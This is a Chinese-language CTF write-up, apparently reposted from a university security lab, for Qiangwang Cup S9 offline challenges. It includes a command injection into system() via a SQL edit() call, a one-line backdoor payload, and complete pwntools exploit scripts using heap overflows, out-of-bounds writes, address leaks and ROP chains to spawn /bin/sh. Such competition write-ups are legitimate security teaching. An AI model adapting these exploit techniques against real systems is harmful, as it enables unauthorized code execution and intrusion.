   0x55555557546d    mov    rdi, rax     RDI => 0x555555701208 ◂— 'aaaaa; "temp846673d8240cb03b"'
&nbsp;►&nbsp;0x555555575470&nbsp; &nbsp; call &nbsp; system@plt &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<system@plt>
&nbsp; &nbsp; &nbsp; &nbsp; command:&nbsp;0x555555701208&nbsp;◂—&nbsp;'aaaaa; "temp846673d8240cb03b"'

效果是这样的

之后我们调整一下参数，就能让system的弹出来计算器，当然这里有猜的成分，里面a+xx这个结构体封装的偏移太难逆了

   0x55555557546d    mov    rdi, rax     RDI => 0x555555701318 ◂— 'gnome-calculator; "temp35635e99d5c0466c"'
&nbsp;►&nbsp;0x555555575470&nbsp; &nbsp; call &nbsp; system@plt &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<system@plt>
&nbsp; &nbsp; &nbsp; &nbsp; command:&nbsp;0x555555701318&nbsp;◂—&nbsp;'gnome-calculator; "temp35635e99d5c0466c"'

SELECT edit(‘gnome-calculator;’,’gnome-calculator;’);

但是这个结果和题目要求的不符，这个指令肯定是可以封装到db文件里面的，因为现场操作的一个指令是关闭了我记得是虚结构的检测的，然后让ai给我们修改一下指令，封装到db文件就行

用一下当时得截图，可惜的是这个里面的东西好像被传烂了。。。。。。。。

AWDU Pwn

smile

os.environ[‘LD_LIBRARY_PATH’] = ‘../lib’

这个需要这个才能运行，而且版本不能低于24

这里是有个后门的，并且我记得有个i+2当时，需要控制一下缩进

rt(">>> ")
sl("ADD")
sl(". sh")
it()

NSnote

这个是有个很明显的溢出的，逻辑框架的话需要追踪字符串，但是是随机地址，所以需要大量写，但是远程写不了大量数据，题目下架后应该是用堆喷

def cd(choose):
    rt("option >\n")
    sl(str(choose))

def add(idx,size,content):
    cd(0)
    rt("enter index:\n")
    sl(str(idx))
    rt("enter read len:\n")
    sl(str(size))
    rt("content:\n")
    s(content)

def swap(idx1,idx2):
    cd(4)
    rt("enter index:\n")
    sl(str(idx1))
    rt("other index\n")
    sl(str(idx2))

def free(idx):
    cd(1)
    rt("enter index:\n")
    sl(str(idx))

def show(idx):
    cd(2)
    rt("enter index:\n")
    sl(str(idx))

def edit(idx,content):
    cd(3)
    rt("enter index:\n")
    sl(str(idx))
    rt("content:\n")
    s(content)

def debug():
    gdb.attach(p)
    pause()

def exp():
    n = 0x8000000000000000

    add(0,0x100+n,b'')
    # pause()
    # dbg(0x03BF4)

    show(0)
    rt(b'\0' * 8)
    pie = ru(6) - 0x1220
    pr(pie)

    puts_got = elf.got['puts'] + pie
    addr = pie + 0x10040

    # dbg(0x03C23) edit

    add(1,0x20,b'a')
    add(2,0x20,b'a')

    # add(3,0xf0,b'a')
    add(3,0x20000,b'a')

    # dbg(0x03C23)
    edit(2,p64(0) + flat(0x1000,addr)*100)
    #pr(11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111)
    # it()
    # pause()

    sleep(0.5)

    pay = flat(addr+0x100,addr+0x118,addr+0x130)
    pay = pay.ljust(0x100,b'a')
    pay += flat(0x8,puts_got,pie+0x1220,0x1000,addr)

    # dbg(0x03C23)
    edit(1,pay)
    # debug()
    # dbg(0x003BF4) # show
    show(0)
    rt("content:\n")
    libc.address = ru(6) - libc.sym["puts"]
    pr(libc.address)
    sleep(1)
    if (libc.address >> 44) != 0x7:
       raise Exception("Bad libc leak")

    #pause()
    environ = libc.sym["environ"]
    pr(environ)
    pay = flat(addr+0x100,addr+0x118,addr+0x130)
    pay = pay.ljust(0x100,b'a')
    pay += flat(0x8,environ,pie+0x1220,0x1000,addr)

    edit(1,pay)

    show(0)
    rt("content:\n")
    stack = ru(6) - 0x130
    pr(stack)

    # dbg(0x03BF4) show

    pay = flat(addr+0x100,addr+0x118,addr+0x130)
    pay = pay.ljust(0x100,b'a')
    pay += flat(0x100,stack)
    pay += b'/bin/sh\0'

    edit(1,pay)

    # dbg(0x03C23,0x0DA55)

    rdi = libc.address + 0x0000000000102dea
    rax = libc.address + 0x00000000000d4f97
    rsi = libc.address + 0x0000000000053887
    syscall = libc.address + 0x00000000000255dd

    edit(0,flat(rax,59,rdi,addr+0x110,rsi,0,syscall))

    cd(5)

somebox

这个是rust，需要逆出来混淆算法，远程沙盒有问题，我们的解题脚本需要长时间爆破，暂不公布

string_menu

交了几个flag就结束了

edit下面有越界写，stack下面有地址，然后打syscall就行

#!/usr/bin/python3
from pwn import *
import os
context(log_level="debug",os="linux",arch="amd64")

pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: p.sendline(x)
s = lambda x: p.send(x)
rt = lambda x: p.recvuntil(x)
ru = lambda x: u64(p.recv(x).ljust(8,b'\x00'))
ri = lambda x: int(p.recv(x),16)
it = lambda : p.interactive()

file_name = './string_menu'
p = process(file_name)
#p = remote(")
elf = ELF(file_name)
# libc = elf.libc

pie = 0
def dbg(* addrs):
    pay = ''
    if pie:
        for i in addrs:
            pay += 'b *$rebase( ' + str(i) + ')' + '\n'
    else:
        for i in addrs:
            pay += 'b *' + str(i) + '\n'
    gdb.attach(p,pay)

def cd(choose):
    rt("Choice: ")
    sl(str(choose))

def add(content = 'a'):
    cd(1)
    rt("Enter string content: ")
    sl(content)

def edit(idx,content):
    cd(2)
    rt("Enter string index: ")
    sl(str(idx))
    rt("chars):")
    sl(content)

def free(idx):
    cd(3)
    rt("Enter string index: ")
    sl(str(idx))

def show(idx):
    cd(5)
    rt("index to view: ")
    sl(str(idx))

def debug():
    gdb.attach(p)
    pause()

# debug()

add(b'ac'*0x10)
add(b'b'*0x100)
add(b'c'*0x20)
add(b'd'*0x20)

edit(171,flat(0x100d018))
show(0)
rt("Content: ")
stack = ru(6) - 0x2460 + 0x320
pr(stack)
# add(b'm'*8)

edit(171,flat(stack,0x100))

rdi = 0x00000000010033d6
rsi = 0x00000000010033d4
mov_rax_rsi = 0x0000000001009d97
syscall = 0x00000000010029a8
gadget = 0x0000000001009dd9

pay = flat(rsi,59,0,0,mov_rax_rsi,rdi,stack+0x68,0,rsi,0,0,0,gadget)
pay += b'/bin/sh\0'

edit(0,pay)

cd(8)

it()

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：山警网络空间安全实验室 《强网杯S9 线下赛 RealWorld TrustSQL & AWDU Pwn 题解》